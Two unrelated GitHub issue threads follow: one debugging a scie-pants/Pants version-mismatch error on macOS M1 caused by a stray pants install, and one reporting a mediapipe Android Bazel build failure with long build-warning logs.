pants fail to start when running using scie-pants on MacOS m1

pants fail to start when running using scie-pants.
MacOS 13.1  on Apple m1.
❯ ./src/sh/pants/pantsup.sh
Downloading and installing the pants launcher ...
Installed the pants launcher from https://github.com/pantsbuild/scie-pants/releases/latest/download/scie-pants-macos-aarch64 to /Users/asher/bin/pants

Running `pants` in a Pants-enabled repo will use the version of Pants configured for that repo.
In a repo not yet Pants-enabled, it will prompt you to set up Pants for that repo.
❯ pants --version
12:06:48.92 [ERROR] 1 Exception encountered:

Engine traceback:
  in select
  in pants.init.plugin_resolver.resolve_plugins
  in construct_scope_
  in pants.engine.internals.options_parsing.scope_options
  in pants.engine.internals.options_parsing.parse_options
Traceback (most recent call last):
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/options_parsing.py", line 48, in parse_options
    return _Options(options_bootstrapper, build_config)
  File "<string>", line 5, in __init__
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/options_parsing.py", line 36, in __post_init__
    assert self.options is not None
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/util/memo.py", line 123, in memoize
    result = func(*args, **kwargs)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/options_parsing.py", line 40, in options
    return self.options_bootstrapper.full_options(self.build_config)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/option/options_bootstrapper.py", line 282, in full_options
    raise BuildConfigurationError(
pants.base.exceptions.BuildConfigurationError: Version mismatch: Requested version was 2.15.0rc2, our version is 2.14.0.dev3.
Traceback (most recent call last):
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/bin/daemon_pants_runner.py", line 130, in single_daemonized_run
    scheduler, options_initializer = self._core.prepare(options_bootstrapper, complete_env)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/pantsd/pants_daemon_core.py", line 129, in prepare
    build_config, options = self._options_initializer.build_config_and_options(
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/init/options_initializer.py", line 107, in build_config_and_options
    build_config = _initialize_build_configuration(
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/init/options_initializer.py", line 47, in _initialize_build_configuration
    working_set = plugin_resolver.resolve(options_bootstrapper, env)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/init/plugin_resolver.py", line 131, in resolve
    for resolved_plugin_location in self._resolve_plugins(
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/init/plugin_resolver.py", line 157, in _resolve_plugins
    session.product_request(ResolvedPluginDistributions, [request])[0],
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/scheduler.py", line 577, in product_request
    return self.execute(request)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/scheduler.py", line 521, in execute
    self._raise_on_error([t for _, t in throws])
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/scheduler.py", line 498, in _raise_on_error
    raise ExecutionError(
pants.engine.internals.scheduler.ExecutionError: 1 Exception encountered:

Engine traceback:
  in select
  in pants.init.plugin_resolver.resolve_plugins
  in construct_scope_
  in pants.engine.internals.options_parsing.scope_options
  in pants.engine.internals.options_parsing.parse_options
Traceback (most recent call last):
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/options_parsing.py", line 48, in parse_options
    return _Options(options_bootstrapper, build_config)
  File "<string>", line 5, in __init__
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/options_parsing.py", line 36, in __post_init__
    assert self.options is not None
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/util/memo.py", line 123, in memoize
    result = func(*args, **kwargs)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/engine/internals/options_parsing.py", line 40, in options
    return self.options_bootstrapper.full_options(self.build_config)
  File "/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants/option/options_bootstrapper.py", line 282, in full_options
    raise BuildConfigurationError(
pants.base.exceptions.BuildConfigurationError: Version mismatch: Requested version was 2.15.0rc2, our version is 2.14.0.dev3.

Use -ldebug for more logs.
See https://www.pantsbuild.org/v2.14/docs/troubleshooting for common issues.
Consider reaching out for help: https://www.pantsbuild.org/v2.14/docs/getting-help

 ~/projects/toolchain  costanza *2 

not sure where 2.14.0.dev3. is coming from. we are using 2.15.0rc2 in the repo (this is the version in pants.toml):

@asherf if you can confirm that is true, I'll see if there is anything I can do, but there may not be. This is really all in Pants-land and not scie-pants if so.

No such issue here:
jsirois@Gill-Windows:~/dev/toolchainlabs/toolchain (master) $ ./src/sh/pants/pantsup.sh
Downloading and installing the pants launcher ...
Installed the pants launcher from https://github.com/pantsbuild/scie-pants/releases/latest/download/scie-pants-linux-x86_64 to /home/jsirois/bin/pants

Running `pants` in a Pants-enabled repo will use the version of Pants configured for that repo.
In a repo not yet Pants-enabled, it will prompt you to set up Pants for that repo.
jsirois@Gill-Windows:~/dev/toolchainlabs/toolchain (master) $ pants --version
09:13:49.17 [INFO] Starting: Resolving plugins: chardet==5.0.0, requests>=2.28.1
09:13:50.97 [INFO] Completed: Resolving plugins: chardet==5.0.0, requests>=2.28.1
09:13:51.42 [INFO] Initializing scheduler...
09:13:52.01 [INFO] Scheduler initialized.
09:13:52.12 [WARN] Error loading access token: AuthError('[rule-construct-auth-store] Failed to load auth token (no default file or environment variable). Run `/home/jsirois/bin/pants auth-acquire` to set up authentication.')
09:13:52.12 [WARN] Auth failed - BuildSense plugin is disabled.
2.15.0rc2

So you must have PANTS_VERSION set somewhere in your environment?

nope... AFAICT

if this is a pants issue, feel free to move the ticket.
we do still have the pants script (didn't touch it) but I don't think that is the issue (will check though)
I really have no idea where the 2.14.0 dev3 is coming from....

FWIW, this only happens on my mac, works just fine in CI and on a linux (ubuntu) machine.

@asherf can you run this and report back?:
$ find ~/.cache/nce/*/locks -type f \! -name "*.lck" | while read f; do echo ">>> $f:" && cat $f && echo; done
>>> /home/jsirois/.cache/nce/99421dee8fedc336d5a6bb8322fbfa602bc68fe63303ae702ec7b9c5672cd086/locks/configure-9b2a25840f661b94baccd38fde68d58ffb4dce89265e003f1272352c0ad21452:
FIND_LINKS=file:///home/jsirois/.cache/nce/99421dee8fedc336d5a6bb8322fbfa602bc68fe63303ae702ec7b9c5672cd086/bindings/find_links/2.15.0rc2/4e0a3fd8/index.html
PANTS_BUILDROOT_OVERRIDE=/home/jsirois/dev/toolchainlabs/toolchain
PANTS_SHA_FIND_LINKS=--python-repos-find-links=-['file:///home/jsirois/.cache/nce/99421dee8fedc336d5a6bb8322fbfa602bc68fe63303ae702ec7b9c5672cd086/bindings/find_links/2.15.0rc2/4e0a3fd8/index.html']
PANTS_VERSION=2.15.0rc2
PYTHON=python3.9

>>> /home/jsirois/.cache/nce/99421dee8fedc336d5a6bb8322fbfa602bc68fe63303ae702ec7b9c5672cd086/locks/install-b385c33f90c9df3b8b70927af480371e86c3446190995ea2ad773bd2cf9573e3:
VIRTUAL_ENV=/home/jsirois/.cache/nce/99421dee8fedc336d5a6bb8322fbfa602bc68fe63303ae702ec7b9c5672cd086/bindings/venvs/2.15.0rc2

The only relevant difference I can think of with scie-pants is it adds the feature of reading .env files when present in the build root or ancestor directories.

The only other thing that strikes me is there are no pantsd startup log lines in your failure output.

Aha. Oh Jesus:
/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants

So that's a mouthful. I'm thinking about why that causes this, but its generally bad and there is your fix - don't install pants in a ~system interpreter manually.

Aha. Oh Jesus:
/Users/asher/.pyenv/versions/3.9.12/lib/python3.9/site-packages/pants

So that's a mouthful. I'm thinking about why that causes this, but its generally bad and there is your fix - don't install pants in a ~system interpreter manually.

hmmmmm... not sure how pants got there.
I will wipe that python version from my machine and re-install it.

that fixed it.
closing ticket.


mediapipe_android failed to build in docker

System information

OS Platform and Distribution (e.g., Linux Ubuntu 20.04, WSL2): Windows 10 (WSL2)
Target (e.g. desktop cpu, android arm64): android arm64
Bazel version: 4.0.0
Python version: 3.9
GCC/G++ version: 11.1.0
Unity version:
Android NDK version (if building for Android): 4.9
Xcode version (if building for iOS):

Describe the problem

Steps to reproduce the issue
I got this error when tried to excute:
bazel build -c opt --config=android_arm64 mediapipe_api/java/com/github/homuler/mediapipe/mediapipe_android --sandbox_debug --verbose_failures
Full logs
WARNING: Download from http://mirror.tensorflow.org/github.com/bazelbuild/rules_closure/archive/cf1e44edb908e9616030cc83d085989b8e6cd6df.tar.gz failed: class com.google.devtools.build.lib.bazel.repository.downloader.UnrecoverableHttpException GET returned 404 Not Found
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'com_google_absl' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'com_google_protobuf' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'com_google_googletest' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'com_github_gflags_gflags' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'rules_python' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'build_bazel_rules_apple' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'build_bazel_rules_swift' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'build_bazel_apple_support' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'bazel_skylib' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/org_tensorflow/third_party/repo.bzl:108:14:
Warning: skipping import of repository 'pybind11' because it already exists.
DEBUG: /home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/tf_runtime/third_party/cuda/dependencies.bzl:51:10: The following command will download NVIDIA proprietary software. By using the software you agree to comply with the terms of the license agreement that accompanies the software. If you do not agree to the terms of the license agreement, do not use the software.
DEBUG: Rule 'rules_cc' indicated that a canonical reproducible form can be obtained by modifying arguments sha256 = "b1788ea6d99fed9bdd32a0fb15badf8a1dd0e26eb60cc58ea845571b5e4ca54b"
DEBUG: Repository rules_cc instantiated at:
/home/mediapipe/WORKSPACE:78:13: in
Repository rule http_archive defined at:
/home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/bazel_tools/tools/build_defs/repo/http.bzl:336:31: in
DEBUG: Rule 'rules_python' indicated that a canonical reproducible form can be obtained by modifying arguments shallow_since = "1564776078 -0400"
DEBUG: Repository rules_python instantiated at:
/home/mediapipe/WORKSPACE:34:23: in
/home/mediapipe/.cache/bazel/_bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/rules_pkg/deps.bzl:33:10: in rules_pkg_dependencies
/home/mediapipe/.cache/bazel/bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/bazel_tools/tools/build_defs/repo/utils.bzl:201:18: in maybe
Repository rule git_repository defined at:
/home/mediapipe/.cache/bazel/bazel_mediapipe/6c11c387a04fa8f17c87a5c6db6ee555/external/bazel_tools/tools/build_defs/repo/git.bzl:199:33: in
WARNING: API level 30 specified by android_ndk_repository 'androidndk' is not available. Using latest known API level 29
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:AudioDataConsumer.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:AudioDataProcessor.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:AudioDataProducer.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:CameraHelper.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:CameraXPreviewHelper.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:ExternalTextureConverter.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:FrameProcessor.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:MicrophoneHelper.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:PermissionHelper.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:TextureFrameConsumer.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:TextureFrameProcessor.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/components:TextureFrameProducer.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:AndroidAssetUtil.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:AndroidPacketCreator.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:AndroidPacketGetter.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:AppTextureFrame.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:AssetCache.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:AssetCacheDbHelper.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:Compat.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:GlSyncToken.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:Graph.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:GraphGlSyncToken.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:GraphProfiler.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:GraphService.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:GraphTextureFrame.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:MediaPipeException.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:MediaPipeRunner.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:Packet.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:PacketCallback.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:PacketCreator.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:PacketGetter.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:PacketListCallback.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:PacketWithHeaderCallback.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:ProtoUtil.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:SurfaceOutput.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:TextureFrame.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:TextureReleaseCallback.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:TypeNameRegistry.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/framework:TypeNameRegistryLite.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/glutil:CommonShaders.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
WARNING: /home/mediapipe/mediapipe_api/java/com/github/homuler/mediapipe/BUILD:4:14: in srcs attribute of android_library rule //mediapipe_api/java/com/github/homuler/mediapipe:mediapipe_android_android_lib: please do not import '@com_google_mediapipe//mediapipe/java/com/google/mediapipe/glutil:EglManager.java' directly. You should either move the file to this package or depend on an appropriate rule there. Since this rule was created by the macro 'mediapipe_aar', the error might have been caused by the macro implementation
